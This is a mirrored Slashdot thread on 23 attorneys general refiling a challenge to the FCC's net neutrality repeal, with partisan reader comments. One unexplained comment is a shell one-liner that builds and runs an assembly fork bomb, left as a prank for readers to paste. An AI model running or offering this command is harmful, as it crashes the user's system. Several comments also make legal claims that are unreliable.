Slashdot Mirror
23 Attorneys General Refile Challenge To FCC Net Neutrality Repeal (engadget.com)
An anonymous reader quotes a report from Reuters: A coalition of 22 state attorneys general and the District of Columbia on Thursday refiled legal challenges intended to block the Trump administration's repeal of landmark rules designed to ensure a free and open internet from taking effect. The Federal Communications Commission officially published its order overturning the net neutrality rules in the Federal Register on Thursday, a procedural step that allows for the filing of legal challenges. The states, along with web browser developer Mozilla and video-sharing website Vimeo, had filed petitions preserving their right to sue in January, but agreed to withdraw them last Friday and wait for the FCC's publication. The attorneys general argue that the FCC cannot make "arbitrary and capricious" changes to existing policies and that it misinterpreted and disregarded "critical record evidence on industry practices and harm to consumers and businesses." The White House Office of Management and Budget still must sign off on some aspects of the FCC reversal before it takes legal effect. That could take months.
I guess. Abuses of power? Nothing else going on? Gotta fight for the future crimes?
Challenge accepted...it's White's move.
We should give the FCC more guns. And a bonus for carrying them.
Problem solved.
Somebody should call Robocop instead.
Ah yes, the classic 'this regulation doesn't prevent every possible abuse, so we should overturn it and let ISPs do whatever they want instead of taking some protections now and fixing the problem later' argument. Good one.
I'm sick of lying trolls like that. Everyone sees right through you. When a regulation doesn't go far enough, or a law should address it (because team (R) is in power and you actually want anti-NN to be the law), you don't strip all protections in the mean time. That's being disingenuous, you want full repeal and no NN regs and you damn well know it.
Basing their claim on "arbitrary and capricious changes" was stupid, since it was the Obama admins who made the arbitrary and capricious change. This ruling just resets that, which is fully under their authority as the courts reinforce almost without exception.
You make a very convincing argument, but I think there's one important fact that you haven't considered: fartbagel.
I guess I'm putting more of a question out to readers who understand this. So 22 state AGs are going to sue the FCC because they can't 'arbitrary and capricious changes to existing policies and misinterpreted and disregarded "critical record evidence on industry practices and harm to consumers and businesses'.
Ok, so what will this do? Is there a way this will do anything beside a "dog and pony show"? Is this just political posturing or can the AGs tell the FCC what to do?
Personally, in all of these discussions I would like people to define what NN is to them and how they understand it. I live in Washington and I know our state governor is budgeting for a speed test website to support NN. Is this what people in leadership think NN is? What about you?
....net neutrality by decree, it can repeal net neutrality by decree.
If AT&T, Verizon, Comcast, and all the rest want to abandon the principles of net neutrality, they are free to do so... HOWEVER, it means they will give up any and all tax breaks and other incentives given to them by the state, and then any legalized monopoly agreements they may have within the state are immediately null and void, so communities can decide to create their own ISP and there won't be anything the established players can do about it.
This is just another case of being careful what you wish for. Verizon's initial lawsuit backfired on the industry by resulting in the telecom companies being classified as common carriers with even more restrictive regulations. Now that net neutrality has been repealed, instead of one universal set of regulations for the entire country, they have to contend with a patchwork of different policies in every state they operate in. So now they have to hire a small army of lawyers and regulatory experts to make sure they're in compliance with each state's specific regulations, instead of one or two for a single federal regulation. Someone didn't really think this through.
I can think of all the ways an unshackled corporate monopoly can innovate access to a vital resource. Yes, I can't wait for all the innovation. I'll have a nice tall glass of trickle-down too, while you're at it.
All that effort to get Net Neutrality repealed and now they will have not not only fight every state, county, and city, but they will also likely have a complete patchwork of implementation they will have to implement or maintain or they will get sued out of their profit. I would not be surprised if they quietly give up.
Well Mueller did list a bunch of US VPN's the Russians were using to be more plausible fake Americans using US stolen identities. And FCC did receive a lot of feedback from stolen identities, so it would seem obvious at this point to cross match the VPN IP addresses with the FCC received comments list.
Identity theft is really a nice way of saying fraud, and it is a major crime, and they have the right to challenge FCC changes knowingly based on fraud.
That's surprisingly literate for a millennial.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You wanted the FCC to regulate the internet. NOW They have.
All you can seem to do is threaten PAI, and send angry tweets to the POTUS, you suck. Seriously.
This lawless leftist fudge is going down, freedom has no choice but to fight you sick demented idiots.
It need to be stressed that the FCC is an independent commission of the United States and is therefore not part of the administration.
It is not part of the executive branch, and so no president has authority over it. It's not in the executive branch chain of command.
This may sound like a minor detail, but I think it's worthwhile for us to insist that the FCC remain independent of the president as it was designed. No matter who is in the White House, the FCC was set up to prevent any president from having authority over the US communication systems.
The A.G's need to stop crying about it.
The Federal government has no authority to regulate communications in our Constitution so it's reserved to the states and the people as defined in the 10th Amendment.
Come up with your OWN actual LAW, instead of relying on a FCC self decree of power that they don't have.
Networks can't "compete" - not when right of way on the last mile is a public resource. The best you can do is keep providers from taking untoward economic advantage of their natural monopoly. Network neutrality is a part of that, keeping from from double dipping.